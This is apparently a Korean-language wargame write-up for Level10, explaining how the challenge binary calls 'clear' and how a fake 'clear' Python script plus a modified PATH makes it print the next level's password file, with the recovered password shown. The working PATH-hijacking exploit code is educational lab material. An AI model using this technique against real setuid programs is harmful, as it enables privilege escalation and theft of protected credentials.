Level10 문제는 아주 간단한 문제이다. 먼저 문제 파일을 실행하여 보자.
Would you like to play a game?
실행하면 먼저 화면이 clear되고 위와 같은 메세지가 나온다. 여기서 우리는 해당 문제파일이 clear 명령어를 이용하고 있다는 것으로 짐작할 수 있다. strings 명령어를 이용하여 문제 파일의 문자열을 확인하여 보자.
| |
clear라는 단어가 있는걸 봐서 clear 명령어를 사용하는 것이 맞는거 같다. 그럼 이제 우리는 clear라는 파일을 만들어서 환경변수 PATH를 수정하여 우리가 만든 clear 파일을 실행할 수 있을것이다.
가짜 clear 파일을 /levels/tmp/geegeegee 폴더내에 작성하자
1 2 3#!/usr/bin/python import os os.system('/bin/cat /pass/level11')PATH 환경변수를 수정하자.
1export PATH='/levels/tmp/geegeegee/'```문제파일 실행!
1 2 3level10@blowfish:/levels/tmp/geegeegee$ /levels/level10 phj33r_tuX Would you like to play a game?